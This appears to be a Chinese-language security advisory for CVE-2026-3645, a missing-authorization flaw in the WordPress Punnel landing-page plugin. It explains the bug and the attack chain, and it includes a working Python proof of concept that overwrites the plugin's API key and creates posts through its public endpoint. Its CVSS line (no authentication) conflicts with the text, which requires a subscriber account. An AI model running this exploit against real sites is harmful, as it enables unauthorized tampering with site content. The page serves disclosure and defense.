IPBUF安全漏洞报告
English
CVE-2026-3645 CVSS 5.3 中危

CVE-2026-3645 WP插件权限绕过漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-3645
漏洞类型
权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
The Punnel – Landing Page Builder

相关标签

WordPress权限绕过插件漏洞IDORAPI篡改

漏洞概述

WordPress插件“The Punnel – Landing Page Builder”在1.3.1及以下版本中存在严重的权限缺失漏洞。由于`save_config()`函数在处理AJAX请求时未进行能力检查和Nonce验证,拥有订阅者权限的攻击者即可通过POST请求覆盖插件配置,包括篡改API密钥。攻击者利用这一漏洞控制API密钥后,可绕过安全验证访问公开API端点,进而在站点上创建、更新或删除任意文章、页面和产品,严重威胁网站内容安全。

技术细节

该漏洞的核心在于插件对`punnel_save_config` AJAX动作的处理机制存在缺陷。在`punnel.php`中,`save_config()`函数直接接收`$_POST`数据更新数据库中的插件配置,但完全缺少`current_user_can()`权限检查和`wp_verify_nonce()`令牌验证。这使得任何已登录用户(即使是权限最低的订阅者)都能向`/wp-admin/admin-ajax.php`发送POST请求,将存储的`api_key`修改为攻击者指定的值。随后,攻击者可利用插件的公共接口`/?punnel_api=1`。该接口的`sniff_requests()`函数仅通过比对POST请求中的token与数据库中的`api_key`来验证身份。由于攻击者已知并控制了该密钥,他们可以伪造合法请求,执行任意内容管理操作,从而完全接管站点的内容发布权限。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者在目标WordPress站点注册或获取一个订阅者级别的账号。
STEP 2
步骤2:权限绕过篡改配置
攻击者利用该账号登录,向admin-ajax.php发送包含punnel_save_config动作的POST请求,利用缺失的权限检查覆盖插件的API密钥。
STEP 3
步骤3:伪造API请求
攻击者使用设置的新密钥,构造POST请求发送到公开的API接口(/?punnel_api=1),由于密钥匹配,验证通过。
STEP 4
步骤4:执行恶意操作
通过验证的API请求被执行,攻击者在服务器上创建、修改或删除任意文章、页面或产品。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com" wp_username = "subscriber" wp_password = "password" attacker_api_key = "pwned_by_attacker" # 1. Authenticate as a low-privileged user (Subscriber) session = requests.Session() login_data = { "log": wp_username, "pwd": wp_password, "redirect_to": target_url + "/wp-admin/", "wp-submit": "Log In" } session.post(target_url + "/wp-login.php", data=login_data) # 2. Exploit Missing Authorization to overwrite API Key # The save_config() function lacks current_user_can() and nonce checks exploit_data = { "action": "punnel_save_config", "api_key": attacker_api_key # Overwriting the stored key } print("[*] Attempting to overwrite API key...") resp = session.post(target_url + "/wp-admin/admin-ajax.php", data=exploit_data) if resp.status_code == 200: print("[+] API key potentially overwritten.") # 3. Use the controlled API key to access the public endpoint # The endpoint /?punnel_api=1 validates requests against the stored api_key api_payload = { "token": attacker_api_key, "action": "create_post", "post_title": "Hacked by CVE-2026-3645", "post_content": "This post was created via privilege escalation." } print("[*] Sending malicious request to public API endpoint...") api_resp = session.post(target_url + "/?punnel_api=1", data=api_payload) print(api_resp.text)

影响范围

The Punnel – Landing Page Builder <= 1.3.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件。此外,应严格限制WordPress用户注册,仅允许受信任的用户注册账号,或者通过服务器规则限制对/wp-admin/admin-ajax.php的访问,仅允许管理员IP访问,以防止低权限用户利用该接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表